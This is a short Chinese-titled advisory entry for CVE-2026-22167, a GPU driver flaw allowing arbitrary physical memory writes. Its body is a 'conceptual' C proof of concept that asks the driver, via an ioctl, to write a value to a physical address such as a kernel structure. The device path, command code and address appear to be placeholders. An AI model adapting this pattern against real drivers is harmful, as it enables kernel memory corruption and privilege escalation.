CVE-2026-22167 GPU驱动任意内存写入漏洞

/* * Conceptual Proof of Concept for CVE-2026-22167 * This code simulates the improper GPU system call. */ #include <stdio.h> #include <stdint.h> // Simulated IOCTL command for the vulnerable GPU driver #define GPU_IOCTL_WRITE_PHYS 0x8001 struct gpu_write_req { uint64_t physical_address; // Target physical memory address uint32_t data; // Data to write uint32_t size; // Size of write operation }; int main() { printf("[*] CVE-2026-22167 PoC Trigger\n"); int fd = open("/dev/gpu0", O_RDWR); if (fd < 0) { printf("[-] Failed to open device\n"); return 1; } struct gpu_write_req req; // Targeting a restricted physical memory page (e.g., kernel structure) req.physical_address = 0xabcdef000; req.data = 0xdeadbeef; req.size = 4; printf("[*] Attempting to write 0x%x to physical address 0x%lx\n", req.data, req.physical_address); // Perform the vulnerable system call if (ioctl(fd, GPU_IOCTL_WRITE_PHYS, &req) != 0) { printf("[-] IOCTL failed (maybe patched?)\n"); } else { printf("[+] IOCTL succeeded. Memory corruption may have occurred.\n"); } close(fd); return 0; }